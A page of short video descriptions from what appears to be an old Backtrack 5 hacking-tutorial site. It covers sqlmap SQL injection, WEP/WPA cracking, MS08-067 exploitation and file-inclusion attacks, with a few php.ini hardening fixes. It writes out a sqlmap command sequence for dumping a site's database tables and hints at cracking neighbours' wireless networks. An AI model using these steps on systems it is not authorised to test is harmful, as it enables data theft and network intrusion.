How to SQL Inject with SQLMAP on Backtrack5 RC1

Since alot of people don't know how to SQL Inject a website using sqlmap i have made this video and explain how to hack a website using sqlmap.

Steps:
cd /pentest/database/sqlmap
python sqlmap.py -u http://site.com/page.php?id=2 --dbs
python sqlmap.py -u http://site.com/page.php?id=2 -D databasenamehere --tables
python sqlmap.py -u http://site.com/page.php?id=2 -T tablesnamehere --columns
python sqlmap.py -u http://site.com/page.php?id=2 -T tablesnamehere -U test --dump

A Cain and Abel Tutorial for hacking

A quick guide to using Cain and Abel's sniffing and password cracking features.
Check the look in with the Labels for download to Cain & Abel

Installing iwScanner on Backtrack 5

Link to iwscanner: http://kuthulu.com/iwscanner/
I believe it only works on Linux Distros that are based on debian But works fine on Backtrack 5

If it askes you what to open with then just go to the terminal and type in: dpkg -i filenamehere.deb
and it will install it for you that way after that go to System then iwscanner (Wireless Scanner)

Remote file intrusion demonstration

Fix:
Turn off allow_url_fopen in php.ini then restart apache.

Metasploit 4.2 and Armitage - What's New?

Alright so as of Feb 22nd 2012 when you update Metasploit you will notice some changes to Armitage.

This video shows some of the new features in Armitage for Metasploit 4.2. 

The latest Armitage is a solid performer and works great for managing Metasploit in high latency situations. 

In this video, you'll see ten Armitage clients connected to a remote server managing post-exploitation against a remote network. 

At the end of this video, you'll see Armitage readily managing a database with 5,000 hosts through this setup. 

You can learn more about Armitage at http://www.fastandeasyhacking.com/

How to Crack a WPA/WPA2 Wireless Network

You will need a compatible Wireless card for Linux I recommend:

Alfa Network AWUS036H Card find it on ebay.
You will also need a copy of Backtrack 5
And a good Wordlist.
Take in mind you might not crack the WPA/WPA2 network if the password for the WPA/WPA2 are not in your list the only reason i was able to crack mine is because i knew the password and put it in a list.

W3af - Web Application Attack and Audit Framework

How to use W3af Web Application Attack and Audit Framework for testing websites for Vulnerabilities.

Great application for Testing vulnerabilities in your website or customers websites.

How to Hack Windows XP EASY

Hacking Windows XP Using Backtrack 5 RC1 and Armitage

Using Backtrack 5 RC1 with Armitage we use the MS08_067_NETAPI Exploit to gain remote code execution on the Windows XP Machine.

However the machine must not have the Firewall blocking the port 445 on the target machine for this exploit to work.

Effects:

Windows 2000 SP4
Windows XP SP2
Windows XP SP3

How to Hack WEP Networks with Beini

Using Beini i explain how to hack WEP Wireless networks.

http://adf.ly/5lmjW - For Download.

How to Hack WEP Networks

In this video I cover Hacking WEP Wireless networks using 2 kinds of Clientless networks.

1. Chop Chop Attack
2. Fragmentation Attack.
We will be using Gerix Wifi Cracker NG and Backtrack Linux

This is a good video for anyone whos looking to learn how to crack WEP Wireless networks it is recommended that you use a Alfa Network AWUS036H Adapter due to the fact that they have a strong antenna so if your on a tall building over looking houses and what you it will pick up loads compared to a Dongle USB.
You can find Alfa Network AWUS036H Adapter's on ebay they very in prices.

MS08_067_NETAPI Demonstration

Using Backtrack 5 with Metasploit to exploit MS08_067_NETAPI Service on Windows XP.
Port: 445 
SERVICE: Microsoft-ds


A very old exploit for Windows XP but it still effects machines that are not running a firewall to block the port from being exploited if the port is open on a Vulnerable Windows XP machine then the attack can gain remote code execution and that means pretty much full control over the Windows Machine.
I don't believe this effects Windows Vista or Windows 7 anymore but Windows XP is still vulnerable even up to Service Pack 3.

For more on the MS08_067 Check here: http://technet.microsoft.com/en-us/security/bulletin/ms08-067

Local File Inclusion + Shell Demonstration

Example of a Local File Inclusion + Shell Demonstration to show you how an attacker would be able to remote code execution. It is a very serious vulnerability best thing to do is turn off the following if there not being used.

magic_quotes_gpc = Off

magic_quotes_runtime = Off

magic_quotes_sybase = Off

allow_url_fopen = Off

Would be a good ideal to make sure that 

expose_php = On

is set to 

expose_php = Off

that why the attacker has no idea what version of php your running.

Setting Up and Running Fern WIFI Cracker

Fern wifi cracker is a wireless security auditing application that is written in python and uses python-qt4. This application uses the aircrack-ng suite of tools. It can be run on any linux distribution like Fern wifi cracker is use in ubuntu or even you can use fern wifi cracker in windows but you must have some dependencies to run fern wifi cracker on windows.

Requirements of Fern wifi Cracker: 

python python-qt4 macchanger aircrack-ng xterm subversion

Download: 

http://fern-wifi-cracker.googlecode.com/files/Fern-Wifi-Cracker_1.2_all.deb

After downloading the file locate the directory and open a Terminal type:

dpkg -i Fern-Wifi-Cracker_1.2_all.deb